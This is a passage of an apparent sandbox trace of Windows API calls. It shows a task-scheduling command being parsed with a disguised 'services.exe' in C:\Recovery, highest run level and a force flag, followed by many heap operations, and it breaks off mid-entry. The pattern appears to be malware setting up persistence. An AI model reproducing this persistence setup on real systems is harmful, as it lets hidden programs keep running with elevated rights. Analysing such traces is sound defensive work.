lstrlenW (lpString="tr") returned 2 [0060.488] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.488] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|showsid|") returned 9 [0060.488] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tr|") returned 4 [0060.488] lstrlenW (lpString="|showsid|") returned 9 [0060.488] lstrlenW (lpString="|tr|") returned 4 [0060.488] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0060.488] SetLastError (dwErrCode=0x490) [0060.488] SetLastError (dwErrCode=0x490) [0060.488] SetLastError (dwErrCode=0x0) [0060.488] lstrlenW (lpString="/tr") returned 3 [0060.489] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0060.489] SetLastError (dwErrCode=0x490) [0060.489] SetLastError (dwErrCode=0x0) [0060.489] lstrlenW (lpString="/tr") returned 3 [0060.489] GetProcessHeap () returned 0x200000 [0060.489] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c490 [0060.489] GetProcessHeap () returned 0x200000 [0060.489] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ceb0 [0060.489] SetLastError (dwErrCode=0x0) [0060.489] SetLastError (dwErrCode=0x0) [0060.489] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.489] lstrlenW (lpString="-/") returned 2 [0060.489] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0060.489] SetLastError (dwErrCode=0x490) [0060.489] SetLastError (dwErrCode=0x490) [0060.489] SetLastError (dwErrCode=0x0) [0060.489] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.489] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0060.490] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.490] GetProcessHeap () returned 0x200000 [0060.490] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21c4b0 [0060.490] _memicmp (_Buf1=0x21c4b0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.490] GetProcessHeap () returned 0x200000 [0060.490] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21c4d0 [0060.490] GetProcessHeap () returned 0x200000 [0060.490] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d680 [0060.490] _memicmp (_Buf1=0x21d680, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.490] GetProcessHeap () returned 0x200000 [0060.490] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x82) returned 0x21de50 [0060.490] SetLastError (dwErrCode=0x7a) [0060.490] SetLastError (dwErrCode=0x0) [0060.490] SetLastError (dwErrCode=0x0) [0060.490] lstrlenW (lpString="'C") returned 2 [0060.490] lstrlenW (lpString="-/") returned 2 [0060.490] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0060.490] SetLastError (dwErrCode=0x490) [0060.490] SetLastError (dwErrCode=0x490) [0060.490] SetLastError (dwErrCode=0x0) [0060.490] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.490] GetProcessHeap () returned 0x200000 [0060.490] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x80) returned 0x21dee0 [0060.490] GetProcessHeap () returned 0x200000 [0060.490] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cee0 [0060.490] SetLastError (dwErrCode=0x0) [0060.490] SetLastError (dwErrCode=0x0) [0060.490] lstrlenW (lpString="/rl") returned 3 [0060.490] lstrlenW (lpString="-/") returned 2 [0060.490] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.491] lstrlenW (lpString="?") returned 1 [0060.491] lstrlenW (lpString="?") returned 1 [0060.491] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.491] lstrlenW (lpString="rl") returned 2 [0060.491] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.491] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|?|") returned 3 [0060.491] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|rl|") returned 4 [0060.491] lstrlenW (lpString="|?|") returned 3 [0060.491] lstrlenW (lpString="|rl|") returned 4 [0060.491] SetLastError (dwErrCode=0x490) [0060.491] lstrlenW (lpString="create") returned 6 [0060.491] lstrlenW (lpString="create") returned 6 [0060.491] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.491] lstrlenW (lpString="rl") returned 2 [0060.491] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.491] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.491] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|rl|") returned 4 [0060.491] lstrlenW (lpString="|create|") returned 8 [0060.491] lstrlenW (lpString="|rl|") returned 4 [0060.491] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0060.491] SetLastError (dwErrCode=0x490) [0060.491] lstrlenW (lpString="delete") returned 6 [0060.491] lstrlenW (lpString="delete") returned 6 [0060.491] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.491] lstrlenW (lpString="rl") returned 2 [0060.491] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.491] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|delete|") returned 8 [0060.492] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|rl|") returned 4 [0060.492] lstrlenW (lpString="|delete|") returned 8 [0060.492] lstrlenW (lpString="|rl|") returned 4 [0060.492] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0060.492] SetLastError (dwErrCode=0x490) [0060.492] lstrlenW (lpString="query") returned 5 [0060.492] lstrlenW (lpString="query") returned 5 [0060.492] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.492] lstrlenW (lpString="rl") returned 2 [0060.492] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.492] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|query|") returned 7 [0060.492] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|rl|") returned 4 [0060.492] lstrlenW (lpString="|query|") returned 7 [0060.492] lstrlenW (lpString="|rl|") returned 4 [0060.492] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0060.492] SetLastError (dwErrCode=0x490) [0060.492] lstrlenW (lpString="change") returned 6 [0060.492] lstrlenW (lpString="change") returned 6 [0060.492] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.492] lstrlenW (lpString="rl") returned 2 [0060.492] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.492] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|change|") returned 8 [0060.492] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|rl|") returned 4 [0060.492] lstrlenW (lpString="|change|") returned 8 [0060.492] lstrlenW (lpString="|rl|") returned 4 [0060.492] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0060.492] SetLastError (dwErrCode=0x490) [0060.492] lstrlenW (lpString="run") returned 3 [0060.492] lstrlenW (lpString="run") returned 3 [0060.493] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.493] lstrlenW (lpString="rl") returned 2 [0060.493] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.493] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|run|") returned 5 [0060.493] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|rl|") returned 4 [0060.493] lstrlenW (lpString="|run|") returned 5 [0060.493] lstrlenW (lpString="|rl|") returned 4 [0060.493] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0060.493] SetLastError (dwErrCode=0x490) [0060.493] lstrlenW (lpString="end") returned 3 [0060.493] lstrlenW (lpString="end") returned 3 [0060.493] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.493] lstrlenW (lpString="rl") returned 2 [0060.493] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.493] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|end|") returned 5 [0060.493] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|rl|") returned 4 [0060.493] lstrlenW (lpString="|end|") returned 5 [0060.493] lstrlenW (lpString="|rl|") returned 4 [0060.493] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0060.493] SetLastError (dwErrCode=0x490) [0060.493] lstrlenW (lpString="showsid") returned 7 [0060.493] lstrlenW (lpString="showsid") returned 7 [0060.493] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.493] lstrlenW (lpString="rl") returned 2 [0060.493] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.493] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|showsid|") returned 9 [0060.493] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|rl|") returned 4 [0060.493] lstrlenW (lpString="|showsid|") returned 9 [0060.494] lstrlenW (lpString="|rl|") returned 4 [0060.494] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0060.494] SetLastError (dwErrCode=0x490) [0060.494] SetLastError (dwErrCode=0x490) [0060.494] SetLastError (dwErrCode=0x0) [0060.494] lstrlenW (lpString="/rl") returned 3 [0060.494] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0060.494] SetLastError (dwErrCode=0x490) [0060.494] SetLastError (dwErrCode=0x0) [0060.494] lstrlenW (lpString="/rl") returned 3 [0060.494] GetProcessHeap () returned 0x200000 [0060.494] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21df70 [0060.494] GetProcessHeap () returned 0x200000 [0060.494] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf10 [0060.494] SetLastError (dwErrCode=0x0) [0060.494] SetLastError (dwErrCode=0x0) [0060.494] lstrlenW (lpString="HIGHEST") returned 7 [0060.494] lstrlenW (lpString="-/") returned 2 [0060.494] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0060.494] SetLastError (dwErrCode=0x490) [0060.494] SetLastError (dwErrCode=0x490) [0060.494] SetLastError (dwErrCode=0x0) [0060.494] lstrlenW (lpString="HIGHEST") returned 7 [0060.494] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0060.494] SetLastError (dwErrCode=0x490) [0060.494] SetLastError (dwErrCode=0x0) [0060.494] lstrlenW (lpString="HIGHEST") returned 7 [0060.494] GetProcessHeap () returned 0x200000 [0060.494] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x10) returned 0x21d6a0 [0060.494] GetProcessHeap () returned 0x200000 [0060.495] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf40 [0060.495] SetLastError (dwErrCode=0x0) [0060.495] SetLastError (dwErrCode=0x0) [0060.495] lstrlenW (lpString="/f") returned 2 [0060.495] lstrlenW (lpString="-/") returned 2 [0060.495] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.495] lstrlenW (lpString="?") returned 1 [0060.495] lstrlenW (lpString="?") returned 1 [0060.495] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.495] lstrlenW (lpString="f") returned 1 [0060.495] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.495] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|?|") returned 3 [0060.495] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|f|") returned 3 [0060.495] lstrlenW (lpString="|?|") returned 3 [0060.495] lstrlenW (lpString="|f|") returned 3 [0060.495] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0060.495] SetLastError (dwErrCode=0x490) [0060.495] lstrlenW (lpString="create") returned 6 [0060.495] lstrlenW (lpString="create") returned 6 [0060.495] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.495] lstrlenW (lpString="f") returned 1 [0060.495] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.495] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.495] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|f|") returned 3 [0060.496] lstrlenW (lpString="|create|") returned 8 [0060.496] lstrlenW (lpString="|f|") returned 3 [0060.496] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0060.496] SetLastError (dwErrCode=0x490) [0060.496] lstrlenW (lpString="delete") returned 6 [0060.496] lstrlenW (lpString="delete") returned 6 [0060.496] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.496] lstrlenW (lpString="f") returned 1 [0060.496] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.496] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|delete|") returned 8 [0060.496] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|f|") returned 3 [0060.496] lstrlenW (lpString="|delete|") returned 8 [0060.496] lstrlenW (lpString="|f|") returned 3 [0060.496] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0060.496] SetLastError (dwErrCode=0x490) [0060.496] lstrlenW (lpString="query") returned 5 [0060.496] lstrlenW (lpString="query") returned 5 [0060.496] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.496] lstrlenW (lpString="f") returned 1 [0060.496] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.497] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|query|") returned 7 [0060.497] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|f|") returned 3 [0060.497] lstrlenW (lpString="|query|") returned 7 [0060.497] lstrlenW (lpString="|f|") returned 3 [0060.497] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0060.497] SetLastError (dwErrCode=0x490) [0060.497] lstrlenW (lpString="change") returned 6 [0060.497] lstrlenW (lpString="change") returned 6 [0060.497] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.497] lstrlenW (lpString="f") returned 1 [0060.497] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.497] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|change|") returned 8 [0060.497] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|f|") returned 3 [0060.497] lstrlenW (lpString="|change|") returned 8 [0060.497] lstrlenW (lpString="|f|") returned 3 [0060.497] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0060.497] SetLastError (dwErrCode=0x490) [0060.497] lstrlenW (lpString="run") returned 3 [0060.497] lstrlenW (lpString="run") returned 3 [0060.497] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.497] lstrlenW (lpString="f") returned 1 [0060.497] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.498] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|run|") returned 5 [0060.498] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|f|") returned 3 [0060.498] lstrlenW (lpString="|run|") returned 5 [0060.498] lstrlenW (lpString="|f|") returned 3 [0060.498] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0060.498] SetLastError (dwErrCode=0x490) [0060.498] lstrlenW (lpString="end") returned 3 [0060.498] lstrlenW (lpString="end") returned 3 [0060.498] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.498] lstrlenW (lpString="f") returned 1 [0060.498] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.498] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|end|") returned 5 [0060.498] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|f|") returned 3 [0060.498] lstrlenW (lpString="|end|") returned 5 [0060.498] lstrlenW (lpString="|f|") returned 3 [0060.498] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0060.498] SetLastError (dwErrCode=0x490) [0060.498] lstrlenW (lpString="showsid") returned 7 [0060.498] lstrlenW (lpString="showsid") returned 7 [0060.498] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.498] lstrlenW (lpString="f") returned 1 [0060.498] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.498] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|showsid|") returned 9 [0060.498] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|f|") returned 3 [0060.498] lstrlenW (lpString="|showsid|") returned 9 [0060.498] lstrlenW (lpString="|f|") returned 3 [0060.499] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0060.499] SetLastError (dwErrCode=0x490) [0060.499] SetLastError (dwErrCode=0x490) [0060.499] SetLastError (dwErrCode=0x0) [0060.499] lstrlenW (lpString="/f") returned 2 [0060.499] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0060.499] SetLastError (dwErrCode=0x490) [0060.499] SetLastError (dwErrCode=0x0) [0060.499] lstrlenW (lpString="/f") returned 2 [0060.499] GetProcessHeap () returned 0x200000 [0060.499] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x6) returned 0x21df90 [0060.499] GetProcessHeap () returned 0x200000 [0060.499] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf70 [0060.499] SetLastError (dwErrCode=0x0) [0060.499] GetProcessHeap () returned 0x200000 [0060.499] GetProcessHeap () returned 0x200000 [0060.499] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360) returned 1 [0060.499] GetProcessHeap () returned 0x200000 [0060.499] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c360) returned 0x8 [0060.499] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360 | out: hHeap=0x200000) returned 1 [0060.499] GetProcessHeap () returned 0x200000 [0060.499] GetProcessHeap () returned 0x200000 [0060.499] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd90) returned 1 [0060.499] GetProcessHeap () returned 0x200000 [0060.499] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd90) returned 0x20 [0060.500] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd90 | out: hHeap=0x200000) returned 1 [0060.500] GetProcessHeap () returned 0x200000 [0060.500] GetProcessHeap () returned 0x200000 [0060.500] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3f0) returned 1 [0060.500] GetProcessHeap () returned 0x200000 [0060.500] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c3f0) returned 0x14 [0060.500] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3f0 | out: hHeap=0x200000) returned 1 [0060.500] GetProcessHeap () returned 0x200000 [0060.500] GetProcessHeap () returned 0x200000 [0060.500] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdc0) returned 1 [0060.500] GetProcessHeap () returned 0x200000 [0060.500] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cdc0) returned 0x20 [0060.501] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdc0 | out: hHeap=0x200000) returned 1 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c410) returned 1 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c410) returned 0x8 [0060.501] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c410 | out: hHeap=0x200000) returned 1 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdf0) returned 1 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cdf0) returned 0x20 [0060.501] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdf0 | out: hHeap=0x200000) returned 1 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c430) returned 1 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c430) returned 0xe [0060.501] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c430 | out: hHeap=0x200000) returned 1 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] GetProcessHeap () returned 0x200000 [0060.501] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce20) returned 1 [0060.502] GetProcessHeap () returned 0x200000 [0060.502] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce20) returned 0x20 [0060.502] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce20 | out: hHeap=0x200000) returned 1 [0060.502] GetProcessHeap () returned 0x200000 [0060.502] GetProcessHeap () returned 0x200000 [0060.502] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c450) returned 1 [0060.502] GetProcessHeap () returned 0x200000 [0060.502] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c450) returned 0x8 [0060.502] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c450 | out: hHeap=0x200000) returned 1 [0060.502] GetProcessHeap () returned 0x200000 [0060.502] GetProcessHeap () returned 0x200000 [0060.502] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce50) returned 1 [0060.502] GetProcessHeap () returned 0x200000 [0060.502] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce50) returned 0x20 [0060.503] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce50 | out: hHeap=0x200000) returned 1 [0060.503] GetProcessHeap () returned 0x200000 [0060.503] GetProcessHeap () returned 0x200000 [0060.503] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c470) returned 1 [0060.503] GetProcessHeap () returned 0x200000 [0060.503] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c470) returned 0x6 [0060.503] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c470 | out: hHeap=0x200000) returned 1 [0060.503] GetProcessHeap () returned 0x200000 [0060.503] GetProcessHeap () returned 0x200000 [0060.503] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce80) returned 1 [0060.503] GetProcessHeap () returned 0x200000 [0060.503] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce80) returned 0x20 [0060.503] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce80 | out: hHeap=0x200000) returned 1 [0060.503] GetProcessHeap () returned 0x200000 [0060.503] GetProcessHeap () returned 0x200000 [0060.503] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c490) returned 1 [0060.504] GetProcessHeap () returned 0x200000 [0060.504] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c490) returned 0x8 [0060.504] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c490 | out: hHeap=0x200000) returned 1 [0060.504] GetProcessHeap () returned 0x200000 [0060.504] GetProcessHeap () returned 0x200000 [0060.504] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ceb0) returned 1 [0060.504] GetProcessHeap () returned 0x200000 [0060.504] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ceb0) returned 0x20 [0060.504] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ceb0 | out: hHeap=0x200000) returned 1 [0060.504] GetProcessHeap () returned 0x200000 [0060.504] GetProcessHeap () returned 0x200000 [0060.504] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dee0) returned 1 [0060.504] GetProcessHeap () returned 0x200000 [0060.504] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dee0) returned 0x80 [0060.505] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dee0 | out: hHeap=0x200000) returned 1 [0060.505] GetProcessHeap () returned 0x200000 [0060.505] GetProcessHeap () returned 0x200000 [0060.505] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cee0) returned 1 [0060.505] GetProcessHeap () returned 0x200000 [0060.505] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cee0) returned 0x20 [0060.505] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cee0 | out: hHeap=0x200000) returned 1 [0060.505] GetProcessHeap () returned 0x200000 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21df70) returned 1 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21df70) returned 0x8 [0060.506] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21df70 | out: hHeap=0x200000) returned 1 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf10) returned 1 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf10) returned 0x20 [0060.506] HeapFree (in: 